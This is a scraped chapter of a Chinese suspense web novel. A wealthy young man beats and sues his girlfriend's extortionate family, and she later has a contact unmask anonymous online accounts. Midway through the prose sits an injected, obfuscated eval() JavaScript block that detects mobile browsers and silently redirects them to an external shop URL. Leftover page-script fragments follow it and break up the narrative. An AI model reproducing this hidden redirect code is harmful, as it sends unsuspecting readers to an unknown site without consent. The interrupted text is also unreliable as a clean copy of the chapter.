文趣网 > 其他小说 > 坏女孩[悬疑] > 18. 第 18 章
    不过他们确实想错了。

    邹燃还真不怕谴责,而且,许家人也没能力让邹燃得到什么谴责。

    邹燃只是简单扫了他们一眼,而后笑着说了句:“想要钱?做什么梦呢。”

    邹燃当然不是软柿子,他的软只对向许七七。

    他心甘情愿被自己的女朋友欺负,呼来喝去。

    可是外人,想都别想。

    邹燃视线瞟过许扬帆,随即看向朱文君和许布仁:“不过,我不是很喜欢动用武力,现在是法制社会,任何人都得遵纪守法。”

    遵纪守法这四个字,他压的很重。

    但他并不是再提醒自己,而是警告许家的人。

    网暴也是犯法,如果许家人真的想用这种方式逼死他的爱人,那他也可以不遵纪守法。

    许家人确实被邹燃的话给吓到了,但如果让他们失去这笔钱,他们一样会活不下去。

    在他们眼中,邹燃并不是邹燃,许七七也不是许七七。

    他们都是钱。

    是提款机。

    许家人并不想放弃这些利益,他们默认许七七和邹燃就该给他们钱,所以许布仁顶着邹燃冰冷的目光,大声说道:“许七七是我女儿,我不同意,你就没权利跟她在一起!”

    朱文君听到老公都为了家里的钱而冲锋陷阵,她当然不能拖后腿。

    所以她也加入了战斗:“哼,你说什么都没用,就算你是天王老子,你也得给我们钱,因为我们养她了。”

    许布仁:“就是,养头猪还能卖钱呢,老苏家的女儿傍上大款,不是也得给她爸钱吗?”

    朱文君:“你们蒂克罗城有蒂克罗城的规矩,但你既然来了这儿,就得听我们贝莉街的规矩!”

    许布仁:“快点给钱,否则这事没完!!”

    许布仁说着就往邹燃面前走,也许是有朱文君壮胆,他竟莫名不那么害怕了。

    许布仁邋里邋遢地,步也走不利索。

    他穿着破旧的上衣和厂子里发的裤子,一条染了红的腰带还拴在腰上。

    邹燃一眼就看到了他的腰带,在联想到许七七身上的伤痕,男生忽的眼一眯,几步上前抽出了他的腰带。

    许布仁的裤子没了腰带直往下掉,他不得不狼狈的拽着不合尺码的裤子,高声问:“你干什么?”

    邹燃二话不说,一腰带抽到许布仁的脸上。

    许布仁“嗷嗷”叫唤,顾不上提裤子,一下就被邹燃抽翻在地。

    他滚来滚去的喊着疼,许扬帆和朱文君顿时就吓哭了。

    邹燃嫌恶的丢开腰带,从衣兜里摸出张律师函,他几步上前捏住许扬帆的下巴,居高临下的问:“认字么?”

    说完又兀自笑了下:“哦我差点忘了,你认字,否则怎么用你这双狗眼看的小说?”

    邹燃扔开他,慢条斯理展开律师函:“你们不要以为躲起来搞点事就完了,当我邹家吃素的,你们的证据我全部都有,我一定会起诉你们。”

    许扬帆一听这群有钱人不肯放过他们,吓得一软就跪到了地上。

    他隐约记得被起诉好像是可以道歉,只要主动承认错误就行了。

    于是他“咣咣”对着邹燃磕了两个头,见朱文君吓愣住了,还大骂了声“我草”,一把将他妈也拉拽的跪下:“赶紧给人家道歉啊!!”

    许扬帆说话粗俗,长大之后经常会因为没钱花大骂许布仁和朱文君。

    所以这句“我草”,他们早就听惯了。

    也并没觉得儿子有什么不对。

    说起来还是他们无能,他们没能给许扬帆提供好的生活。

    所以每当许扬帆骂他们的时候,他们就自然而然想到了许七七,都怪许七七这个贱种!

    可现在,他们是真的害怕了。

    因为他们从邹燃的眼里看到了一种情绪,邹燃不是他们想象中的小绵羊,而是一只凶狠的狼。

    狼想要捕猎,有的是手段。

    三个人想清楚之后就开始不断的磕头,口中反复说着一句:“你们是有钱人,你们都很大度,不要跟我们计较了,我们也没伤害到许七七什么……”

    不过邹燃还是没有放过他们。

    最终,许家因为这一场闹剧被判了赔付邹燃二十万。

    二十万对有钱人来说就跟二十块那么渺小,但对许家来说,这是巨款。

    所以因为这二十万,许家终于内讧了。

    许布仁、朱文君、许扬帆,连带着他的姑姑、大伯,还有姐姐哥哥,这些人动了手,互相殴打。

    他们互相指责对方太冲动,出的什么鬼主意,不但没拿到钱反而因此背上债务。

    许扬帆家认为还钱的事情应该有姑姑和大伯的一份。

    但姑姑和大伯当然不肯。

    最后接连打了几天的架,姑姑和大伯连夜带着儿女跑回了老家,从此再不掺和许七七的事情了。

    可虽说跑了两个,许家三人也还是要还钱的。

    但他们没办法卖掉贝莉街的小平房,因为没人愿意住到这里来,许家就在许七七不知道的情况下变得一日比一日糟,争吵的比从前还要勤。

    三个人为了还掉这二十万,只能被迫出去找更累但赚的多一点的工作。

    他们一点点的还债,每月都要往邹燃的银行卡里存钱。

    而邹燃根本不在乎这点钱,他把钱全部用来给许七七的书打赏,又因为许七七承诺赚到一百万才会跟他结婚,所以自己又偷偷的添上了八十万。

    许七七过了三年的好日子,可她并不知道这好日子不是因为许家良心发现,也不是因为她勇于断亲。

    而是因为邹燃。

    如果没有邹燃,她恐怕永远也脱离不了他们,大家只能一起下地狱去算账了。

    阿星把这件事情讲给许七七听,许七七却已经连哭都哭不出来了。

    她过去多少年没有流过眼泪,如今全都补上了。

    她小心隐瞒着家里的烦心事,不愿让邹燃知道太多,她总怕邹燃会嫌弃她的出身,嫌弃她的家庭。

    可没想到,邹燃什么都知道。

    许七七以前在网上看到句话,哪有什么岁月静好,不过是有人为你负重前行。

    当时她并不相信这句话。

    她是羡慕那些能为孩子遮风挡雨的父母,但那样的父母不是她这种人配拥有的。

    所以她一定是前世作孽太深,今生才会有这样的出身。

    许七七抹掉眼泪,缓和了下情绪,继续问阿星:“阿星,除了这件事,你还知道什么?”

    许七七知道,这件事是发生在她跟邹燃同居之前。

    可刚刚邹燃的状态一变成上线,阿星就立刻过来弹消息,这也就表明,他们之间一直没断了联系。

    或者说近期,邹燃又找过他。

    而阿星听到她问话,却默默叹了口气:“邹先生的确有事想托我调查,但没来得及……”

    许七七抓住重点,忙追问:“他要调查谁?”

    许七七

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507430|202350||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    心中隐隐有了一个答案,但她还是更想听阿星说。

    而阿星的话也给出了符合她想法的答案,阿星音量放轻,像是怕被谁听到似的:“他爸妈。”

    可一讲到这个,许七七也坐直了身体:“我给你几个账号,你帮我挖出对方的真实身份?”

    阿星:“行,邹太太你要查谁?”

    既然邹燃跟许家有这么大的过节,而且许七七是最了解许家人本性的,只要他们没死,他们绝对会找机会报复邹燃。

    她想到当初爆出邹家破产时,几条骂的最难听的评论。

    她一向对恶毒的话敏感,所以她记得非常清楚,他们希望邹燃出车祸,希望邹燃去死。

    许七七手忙脚乱登录大眼仔,足足翻了半个钟头,才翻到这几个账号。

    她一股脑发给了阿星,然后坐等回复。

    她怀疑这几条消息都是许家人发的,邹家终于破产了,他们总算等到了报复的机会。

    而阿星的效率确实很高,许七七刚点了个外卖,对面就回复了她。

    许七七其实是吃不下去饭的,但她知道她现在决不能垮掉。

    她逼着自己大口吃饭,往下咽时都犯恶心。

    吃掉大半碗米饭,她立刻点开消息查看,果然,咒邹燃去死的这些消息都是许布仁、朱文君和许扬帆发的。

    许七七怒火中烧,险些控制不住打电话过去骂他们一顿。

    可她知道不能。

    她还有更重要的事情要做。

    许七七现在越来越觉得这件事情不简单,甚至连邹家突然破产,邹家夫妇车祸身亡以及邹燃的死,这背后都有一根深深牵引的线。

    她得找到线头。

    她一定要查清真相。

    许七七主动联系了蔡沁雅,她决定明天一早就去蔡沁雅那做个心里鉴定。

    或许,这件事跟她本人也有关系。

    她现在不想错过任何机会。

    挂断电话时,许七七又接到了杜鸣宇秘书发来的消息,是询问她何时接手邹氏股份的事,杜鸣宇好带着她去办手续。

    许七七没理会这条消息,转而又给阿星打电话:“既然邹燃让你查他爸妈的事,那你一定知道邹家破产的情况吧?”

    阿星:“我知道,邹家是被陷害的,不过听说杜鸣宇从自己公司调来一大笔资金,所以邹氏又保住了。”

    许七七惊讶:“保住了?”

    阿星:“是啊,邹总跟杜鸣宇是多年的老同学,生意上一直互相扶持,当初放出邹氏破产消息的是竞争对手,实际邹家并没受什么损失。”

    许七七:“那关于他爸妈的车祸案,你都查到什么了?”

    阿星听罢叹了口气:“还没开始查,邹先生说要先发他们邹氏的企业资料给我,我还没收到,他就——”

    许七七听得表情沉了下,锥心刺骨的剧痛一阵阵袭来。

    她挂断后,按着胸口做深呼吸,感觉到好一点了,就开始对着书房来回翻找。

    她相信,邹燃一定是发现了什么。

    既然电脑上没有任何资料,那么资料最后可能藏在U盘里。

    但她确实不怎么关注邹燃的生活,也不记得邹燃喜欢把U盘放在哪里。

    夜半三更,许七七像个疯子一样翻乱了整间书房,最终,在书柜最下边的夹层隐秘处,她看到了邹燃藏起来的U盘。

    许七七忙取出,将它插到电脑上。

    继而,也发现了邹氏背后一直在做的事。